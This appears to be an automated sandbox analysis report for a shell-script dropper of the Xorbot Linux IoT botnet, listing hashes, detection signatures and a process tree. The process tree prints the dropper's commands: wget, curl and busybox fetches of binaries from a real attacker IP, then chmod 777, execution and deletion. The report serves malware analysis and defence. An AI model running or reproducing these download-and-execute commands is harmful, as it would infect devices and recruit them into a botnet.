Overview

overview

10

Static

static

1

512c85432f...3d5.sh

ubuntu-18.04-amd64

10

512c85432f...3d5.sh

debian-9-armhf

10

512c85432f...3d5.sh

debian-9-mips

10

512c85432f...3d5.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    148s
  • max time network
    130s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    01/03/2025, 03:07

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General

  • Target

    512c85432f47149b04a2620dea12b2520857884e398b886d768468a16ced73d5.sh

  • Size

    10KB

  • MD5

    1f4d23e931eb2509fb595dbf127fdfe2

  • SHA1

    bde31e4db33a17ed1e37364a26242e12f6b0bbbb

  • SHA256

    512c85432f47149b04a2620dea12b2520857884e398b886d768468a16ced73d5

  • SHA512

    b1ddd776c1e3cfd5d8de54ee3a1feece060b29b1db408fdefe679d1e37d41c4c21a7e7beb9b97f34552e7d03add2b35999311a50d8d50f10a1312fbcba7cfaf3

  • SSDEEP

    192:1N5dmvfK3Q3k3x3+3e3rzHkJpgD5B5Z5uFpYFwIva22k0iOaQCTjPLaL2Lzm+zw+:1N5dmvfK3Q3k3x3+3e3rzHkJpgDf7JFJ

Score
10/10
xorbotantivmbotnetdefense_evasiondiscoverytrojan

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 6 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/512c85432f47149b04a2620dea12b2520857884e398b886d768468a16ced73d5.sh
    /tmp/512c85432f47149b04a2620dea12b2520857884e398b886d768468a16ced73d5.sh
    1⤵
    • Executes dropped EXE
    PID:648
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:650
      • /usr/bin/wget
        wget http://37.44.238.88/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Writes file to tmp directory
        PID:653
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:681
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Writes file to tmp directory
        PID:691
      • /bin/chmod
        chmod 777 tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • File and Directory Permissions Modification
        PID:709
      • /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        ./tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
          PID:710
        • /bin/rm
          rm tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
          2⤵
            PID:713
          • /usr/bin/wget
            wget http://37.44.238.88/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • Writes file to tmp directory
            PID:714
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:726
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • Writes file to tmp directory
            PID:762
          • /bin/chmod
            chmod 777 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • File and Directory Permissions Modification
            PID:763
          • /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            ./59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
              PID:764
            • /bin/rm
              rm 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
              2⤵
                PID:766
              • /usr/bin/wget
                wget http://37.44.238.88/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • Writes file to tmp directory
                PID:767
              • /usr/bin/curl
                curl -O http://37.44.238.88/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:770

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
              Filesize

              117KB

              MD5

              849fa04ef88a8e8de32cb2e8538de5fe

              SHA1

              c768af29fe4b6695fff1541623e8bbd1c6f242f7

              SHA256

              8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

              SHA512

              2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

              Download Submit

            • /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
              Filesize

              99KB

              MD5

              9438d9bc392bcf300a5583b6df5bc8f6

              SHA1

              375a6ae34b516f6f3eeea8030c4084f585017efa

              SHA256

              68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

              SHA512

              1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

              Download Submit

            • /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
              Filesize

              92KB

              MD5

              6805da50f1b394add4a0e85537d037a1

              SHA1

              170e5a4524839ef951df31429b5b84b71d0b892b

              SHA256

              1c948898b91eec9f8305e6075b4e2f5f2bba2d4c6625323886f6287d2a534db5

              SHA512

              085d3bd8b8400ff12c3d7df7aef7cc1a31df9c39a4610c3184f7eda29b0def87b0aeb56473a561f633a99e15aaaf4fc0884341a477f95b5a5cfb2493474a8c0a

              Download Submit

            • /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
              Filesize

              107KB

              MD5

              eb9c3a0de91fcf16ba17cb24608df68c

              SHA1

              09d95a7d70d5e115d103be51edff7c498d272fac

              SHA256

              dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

              SHA512

              9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

              Download Submit